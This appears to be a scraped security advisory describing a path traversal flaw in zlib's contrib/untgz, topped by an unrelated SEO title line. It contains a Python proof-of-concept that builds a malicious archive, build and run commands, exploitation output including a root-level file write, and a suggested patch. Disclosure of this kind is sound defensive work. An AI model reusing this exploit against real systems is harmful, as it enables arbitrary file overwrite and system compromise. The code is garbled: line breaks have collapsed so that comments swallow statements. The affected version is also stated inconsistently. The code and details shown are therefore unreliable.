台湾省网站建设_网站建设公司_页面加载速度_seo优化

Title: Path Traversal Vulnerability in zlib untgz ≤ 1.3.1

BUG_Author: mifya

Affected Version: zlib ≤ 1.3.1.2

Vendor: zlib Official Website

Software: zlib - contrib/untgz

Vulnerability Files:

• contrib/untgz/untgz.c

---

Description:

A path traversal vulnerability exists in the untgz utility bundled with zlib versions up to and including 1.3.1. The vulnerability allows an attacker to write arbitrary files outside the intended extraction directory by crafting a malicious .tgz archive containing filenames with directory traversal sequences (e.g., ../).

Root Cause Analysis:

1. Unsafe File Path Handling:

   • In the file contrib/untgz/untgz.c, the tar() function (lines 385-575) directly uses filenames from the tar archive header without proper sanitization.
   • Specifically, at line 439, the filename is copied from the tar header:

     strncpy(fname, buffer.header.name, SHORTNAMESIZE);
     

   • At line 481, this unsanitized filename is used to create files:

     outfile = fopen(fname, "wb");
     

2. Missing Path Validation:

   • The code does not check for or filter out ../ sequences in filenames.
   • The code does not verify that extracted files remain within the intended extraction directory.
   • Absolute paths (starting with /) are also not blocked.

3. Impact:

   • An attacker can craft a malicious .tgz archive that, when extracted, writes files to arbitrary locations on the filesystem.
   • If untgz is run with elevated privileges (e.g., root), this can lead to:
     • Arbitrary file overwrite (e.g., /etc/passwd, /etc/shadow)
     • Remote code execution via overwriting startup scripts or cron jobs
     • Complete system compromise

---

Proof of Concept:

Step 1: Create Malicious Archive

Create a Python script to generate a malicious .tgz file:

#!/usr/bin/env python3
import tarfile
import gzip
import iodef create_malicious_tgz(output_path):tar_buffer = io.BytesIO()with tarfile.open(fileobj=tar_buffer, mode='w') as tar:# Malicious path traversal payloadmalicious_filename = "../../../tmp/pwned_by_path_traversal.txt"content = b"PATH TRAVERSAL VULNERABILITY EXPLOITED!\n"content += b"This file was written outside the extraction directory.\n"info = tarfile.TarInfo(name=malicious_filename)info.size = len(content)info.mode = 0o644tar.addfile(info, io.BytesIO(content))with gzip.open(output_path, 'wb') as f:f.write(tar_buffer.getvalue())print(f"[+] Created malicious archive: {output_path}")if __name__ == "__main__":create_malicious_tgz("malicious.tgz")

Step 2: Compile Vulnerable untgz

cd zlib-1.3.1
./configure && make
cd contrib/untgz
gcc -O3 -I../.. -L../.. -o untgz untgz.c -lz

Step 3: Execute the Exploit

# Create test directory
mkdir -p /tmp/test_extract
cd /tmp/test_extract# Run untgz to extract malicious archive
LD_LIBRARY_PATH=/path/to/zlib-1.3.1 /path/to/untgz /path/to/malicious.tgz

Step 4: Verify Exploitation

# Check if file was written outside extraction directory
cat /tmp/pwned_by_path_traversal.txt

Expected Output:

PATH TRAVERSAL VULNERABILITY EXPLOITED!
This file was written outside the extraction directory.

---

Exploitation Evidence:

$ cd /tmp/test_extract
$ untgz malicious.tgz
Extracting ../../../tmp/pwned_by_path_traversal.txt$ cat /tmp/pwned_by_path_traversal.txt
PATH TRAVERSAL VULNERABILITY EXPLOITED!
This file was written outside the extraction directory.

When running as root:

root@host:/tmp/test_extract# untgz malicious_root.tgz
Extracting ../../../../../../../../testtestroot@host:/tmp/test_extract# cat /testtest
PWNED BY PATH TRAVERSAL!
This proves arbitrary file overwrite vulnerability.
If you see this, the root-owned file was overwritten!

---

Vulnerable Code Snippet:

File: contrib/untgz/untgz.c

// Line 439: Filename copied directly from tar header without sanitization
strncpy(fname, buffer.header.name, SHORTNAMESIZE);
if (fname[SHORTNAMESIZE-1] != 0)fname[SHORTNAMESIZE] = 0;// ... later ...// Line 481: Unsanitized filename used to create file
outfile = fopen(fname, "wb");

---

Suggested Fix:

Add path validation before file creation:

int is_path_safe(const char *path) {// Reject path traversal sequencesif (strstr(path, "..") != NULL) return 0;// Reject absolute pathsif (path[0] == '/') return 0;// Reject backslash traversal (Windows)if (strstr(path, "..\\") != NULL) return 0;return 1;
}// Before fopen():
if (!is_path_safe(fname)) {fprintf(stderr, "Skipping unsafe path: %s\n", fname);continue;
}
outfile = fopen(fname, "wb");